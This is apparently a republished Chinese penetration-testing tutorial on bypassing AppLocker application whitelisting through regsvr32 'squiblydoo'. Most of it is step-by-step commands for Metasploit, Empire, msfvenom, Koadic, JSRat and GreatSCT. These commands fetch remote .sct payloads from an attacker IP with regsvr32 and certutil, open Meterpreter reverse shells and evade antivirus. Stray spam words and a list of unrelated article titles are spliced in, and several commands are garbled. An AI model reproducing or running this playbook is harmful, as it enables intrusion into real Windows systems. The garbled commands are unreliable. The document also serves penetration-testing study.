在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险,AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

AppLocker规则介绍

规则集合(Rule Collection)

AppLocker控制台以规则集合作为组织单元,这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。

规则条件(Rule Condition)

规则条件可以帮助AppLocker识别哪些应用对应哪些规则。三个主要的规则条件分别为应用发布者、路径以及文件哈希。

文件路径条件

以应用在系统中的路径作为识别依据;

文件发布者条件

以应用的属性或者数字签名作为识别依据;

文件哈希条件

以应用的哈希值作为识别依据;

看似这些强大的规则让黑客攻击无处遁形,但不幸的是,对于防御者来说,除了默认规则以外,AppLocker还涉及到许多自定义配置,而黑客正是利用这些配置作为突破口的。本文将介绍通过 regsrv32.exe绕过Applocker应用程序白名单的多种方法。

Regsvr32介绍

Regsvr32全称是Microsoft Register Server。它是windows的命令行实用工具。虽然regsvr32有时会引起一些莫名其妙的问题,但作为Windows系统文件,它仍是一个重要的文件。该文件位于C:\Windows的子文件夹中,该文件能够观察、跟踪和影响其他程序。由于它是.exe格式,所以主要被用于在Windows文件扩展名中注册和注销程序,它的进程可以广泛地协助OLE(对象链接和嵌入),DLL(数据链接库)和OCX(ActiveX控件模块)。上述流程在后台工作,可以通过任务管理器查看。终止,它是微软最受信任的文件之一。

regsvr32工作原理

当你在regsvr32中注册DLL文件时,与regsvr32关联的程序的信息将添加到Windows中。然后访问这些信息,以了解程序数据的位置以及如何与程序数据进行交互。在注册DLL文件时,信息会被添加到目录的中央,以便windows可以使用它。这些文件的整个路径都有可执行代码,由于这些文件,windows可以调用特定的函数。这些文件非常方便,当软件更新时,这些文件会自动调用更新后的版本。简而言之,它有助于避免软件的版本问题。通常,除了注册和注销DLL文件外,通常不使用此文件。中国菜刀

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

· /u:注销服务器;

· /i:调用DllInstall传递一个可选的[cmdline],当它与/u一起使用时,它会调用dll uninstall。

· /n:不要调用DllRegisterServer,此选项必须与/i一起使用

· / s :沉默,不显示消息框;

要了解更多信息,请访问这里。

Web传递(Web Delivery) 

此模块会快速启动一个提供有效载荷的web服务器,所提供的命令将允许下载和执行有效载荷。它将通过指定的脚本语言解释器或通过regsvr32.exe的“squiblydoo”来绕过应用程序白名单。该模块的主要目的是当攻击者不得不手动输入命令时,在目标设备上快速建立会话,例如命令注入。

Regsvr32使用“squiblydoo”技术来绕过应用程序白名单,签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个web请求(即, .sct文件和PowerShell下载或执行)都可以发生在同一个端口上。PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载或执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

一旦使用这些文本开始运行漏洞,你将拥有一个为自定义的URL,就可以在受害者电脑的命令提示符中运行该URL。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令执行后按回车键,就将进行会话。输入“sysinfo”以获取目标电脑的信息。

PowerShell Empire

Empire是一款类似Metasploit的渗透测试框架,基于python编写,Empire是一个纯粹的PowerShell后开发代理,建立在密码安全通信和灵活的架构上。Empire实现了无需powershell.exe即可运行PowerShell代理的功能,从键盘记录器到Mimikatz等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

在PowerShell Empire方法中,我们必须将.sct tacks与Metasploit配对,但是在这种方法中,我们将使用Empire框架。它完全基于python的PowerShell windows代理,这使得它非常有用。

如下所示,启动Empire框架后,输入listener命令,以检查是否存在反侦查进程。

uselistner http
set Host //192.168.1.109
execute

使用上述命令,你将拥有一个反侦查进程。输入back命令,就可以退出反侦查进程,以便启动PowerShell。

一旦你退出listener命令,就需要使用一个漏洞来创建恶意文件。在Empire中,stage代表一段代码,它允许我们的恶意代码通过受感染的主机上的代理运行。这意味着要创建一个漏洞,我们将不得不通过usestager。命令如下:天空彩

usestager windows/launcher_sct
set listener http
execute

执行命令后,usestager将在/ tmp中创建一个launcher.sct。现在要获得会话,就必须通过输入以下内容来启动python服务器:

python -m SimpleHTTPServer 8080

当服务器启动时,剩下的唯一步骤就是在受害者的电脑中执行我们的恶意软件。此时,就要在命令提示符中输入以下命令:

regsvr / s / n / u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了端口8080,这是因为我们的python服务器在同一个端口上被激活。

执行上述操作后,你将收到一个会话:

interact 9ATUX4M7

9ATUX4M7只是一个代理或会话名称,这将因会话内容而异。

在sct文件中注入PowerShell代码(手动方法)

该方法必须利用一个漏洞才能实现,使用的漏洞会帮助我们创建powershell代码,现在就让我们首先创建powershell吧!

运行此漏洞后,将在终端屏幕上显示powershell代码,如下所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

由于Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,比如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。

现在我们需要创建一个.sct文件,以便我们的攻击能够运行。为此,我们在网上找到了一个脚本来创建.sct文件。

复制由web_delivery创建的PowerShell代码并将其粘贴到上面的脚本中,其中显示“calc.exe”,最后使用.sct扩展名保存。

然后像之前一样,运行以下命令,在受害者的电脑上用regsvr32.exe执行.sct文件:

regsvr32 / u / n / s /i://192.168.1.109/1.sct scrobj.dll

执行上述命令后,你将通过web_delivery进行会话。我们要访问会话类型“sessions 1”和“info”才能获取有关系统的基本信息。

MsfVenom

现在,我们讲的是使用msfvenom。Msfvenom是Metasploit的命令行实例,用于生成和输出Metasploit中提供的所有各种类型的shellcode。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。首先,让我们输入以下msfvenom命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

然后,使用以下命令启动python服务器。

python -m SimpleHTTPServer 80

同时,在前一个方法中使用的同一脚本中,我们是通过注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,使用 “calc .exe”编写以下脚本并使用.sct扩展名再次保存文件:

certutil.exe -urlcache -split -f //192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。

现在,使用以下命令运行上面的脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/3.sct scrobj.dll

此时,我们将创建另一个文件来执行我们以前的文件“shell.exe”。为此,再次使用 “calc .exe”编写脚本:

cmd /k cd c:\Users\raj & shell.exe

我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,启动多处理程序,以获得会话。输入命令如下所示:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的电脑中运行该命令后,就将进行一个meterpreter会话。

什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它会非常困难。

另外,Meterpreter还可以简化任务创建多个会话。

Koadic

koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和其他渗透测试工具,如Meterpreter和Powershell Empire有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。

要了解更多关于Koadic的信息,请点此链接阅读。

koadic启动并运行后,输入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成。Stager这种载荷负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

然后,在受害者电脑的命令提示符中输入以下内容。

regsvr32 / u / n / s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

运行上述命令后,你将拥有一个会话,内容如下:

zombies 0

JSRat

JSRAT是一个由Python编写的脚本,它可以实现对远程PC的shell管理,下载地址请点此。这是一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,不过它仅为rundll32.exe和regsvr32.exe生成恶意任务。 JSRat创建了一个Web服务器后,在该Web服务器上,我们就可以找到.sct文件。输入命令如下:

./JSRat.py -I 192.168.1.107 -p 4444

运行上述命令后,Web服务器就将启动。

在浏览器中打开它,此时,你将找到需要在受害者的PC上运行的.sct文件。

GreatSCT

借助GreatSCT这样一个工具,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,你可以点此下载。

下载运行后,输入以下命令以访问模块:

下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

然后输入“list” 命令,以获取模块列表。

然后,从模块列表中选择以下命令:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,输入1选择MSFVenom。

然后它会询问你的有效载荷,此时,你只需按Enter即可将windows/meterpreter/reverse_tcp作为默认有效载荷,而这就是我们需要的载荷。在像这样提供IP之后,我们已经给出了192.168.1.107和给定的端口,此时,我们将lport命名为2345。

在得到详细信息后,它会询问你恶意软件的名称。默认情况下,设置名称都是“payload”,以便你可以给出名称或只按回车键以进行默认设置。

按回车键后,它将生成两个文件。其中一个将是资源文件,另一个是.sct文件。

现在,先通过输入以下命令启动/usr/share/greatsct-output中的python服务器:

python -m SimpleHTTPServer 80

现在,在受害者设备的运行窗口中执行.sct文件,如下所示。

同时,使用资源文件启动multi / handler。输入命令如下所示:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

此时,你可以获得了一个Meterpreter会话。

总结

使用regsvr32获取会话是一种非常复杂且另辟蹊径的方式,因此,上述方法要使用到不同的工具和软件,以允许我们完成此攻击。

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法相关推荐

  1. 使用mshta.exe绕过应用程序白名单(多种方法)

    0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的&qu ...

  2. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了" ...

  3. Linux中msiexec无法运行,使用msiexec.exe绕过应用程序白名单(多种方法)

    0x01 Applocker适用的关联文件格式 Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用. ...

  4. 微软小娜打开应用程序_利用您现有的Microsoft投资进行应用程序白名单

    微软小娜打开应用程序 Application Whitelisting? What Is It? 应用白名单? 它是什么? I consider a firewall to be a Yes / No ...

  5. 紧急通告:卡巴斯基误杀userinit.exe Ghost用户速加白名单

    动物家园计算机安全咨询反斗士报( [url]www.kingzoo.com[/url] ): 今天,动物家园病毒救援小组接到不少用户反馈卡巴斯基提示系统userinit.exe文件包含***( [ur ...

  6. (谷歌)Chrome浏览器添加扩展程序白名单

    谷歌浏览器添加扩展程序白名单 1. 下载文件 下载后解压,得到 chrome.adm 点击下载 2.安装文件 Win+R 打开运行,输入 gpedit.msc,确定: 依次展开 本地计算机策略 > ...

  7. 白名单 权限认证方法

    针对,MVC,模块,控制器 这类框架 思路: 1:系统是否需要认证(配置文件 可设置), 2:改模块,是否在(不需要认证的模块中(配置文件)) 3:模块 不存在 不需要认证的模块数组中,或者 模块,存 ...

  8. 【ASP.NET Core】配置应用程序地址的N多种方法

  9. 运用c语言编写程序:判断素数的多种方法

    素数是一个大于1的自然数,除了1和它自身外,不能被其他自然数整除的数:判断一个数是不是素数只需让2-这个数本身减一的所有数进行相除,如果没有一个数能把这个数本身整出,这个数就是素数. 设判断X; 所以 ...

  10. 远控免杀专题(67)-白名单(113个)总结篇

    关于白名单程序 相信大家对白名单程序利用的手法也已经非常熟悉了,白名单程序利用其实是起源于LOLBins,全称"Living-Off-the-Land Binaries",直白翻译 ...

最新文章

  1. jquery中not方法失效的解决方案
  2. java怎么导入图片_iPad Pro插U盘不能导入图片?技术宅教你怎么做
  3. 两种删除internal table entry的性能比较
  4. 酷!GitHub开发者自研火星车,开发教程全面开源
  5. anaconda使用github代码_使用这几款插件,能让你在GitHub看代码的效率翻倍
  6. “webservice远程测试显示 “测试窗体只能用于来自本地计算机
  7. 微型计算机原理与接口电子教案,《微型计算机原理与接口技术》电子教案研讨.ppt...
  8. tcp通信程序发送图片_Unit11:TCP通信、wechat小程序
  9. ResultSet转换为List的方法
  10. Android数据库hibernate框架
  11. OpenGL学习笔记_简介_环境配置_创建一个窗口实例
  12. IIC数据总线 线与 还是 线或 ?是线与
  13. 移动定位业务之“A-GPS(辅助全球卫星定位系统)”
  14. ACM第四站————最小生成树(普里姆算法)
  15. 反向传播不香了?解读 Hinton 大佬的 Forward-Forward 算法
  16. 网站服务器过载,服务器过载保护
  17. Linux下Tomcat项目启动报错
  18. 非递归实现二叉树的遍历
  19. linux内核协议栈 之 GSO逻辑分析
  20. 你还敢继续玩免单、玩好评返现吗?

热门文章

  1. 20P42 500个LUTs创意旅行VLOG时尚婚礼人物环境复古特殊INS电影调色预设+25个复古老电影VHS特效
  2. 漫谈分布式游戏服务器
  3. raid服务器怎么装win7系统安装,安装win7系统时怎么加载SATARAID驱动
  4. UE4 打包问题总结
  5. python查看微信撤回消息怎么弄_Python3爬虫查看微信撤回消息
  6. iOS 音乐播放器的实现
  7. VMware安裝Ubuntu 16.04.4-server服务器版
  8. swiper的基本使用
  9. 离散数学-----自然数系统
  10. 功能总结之车载方案AutoPlay功能总结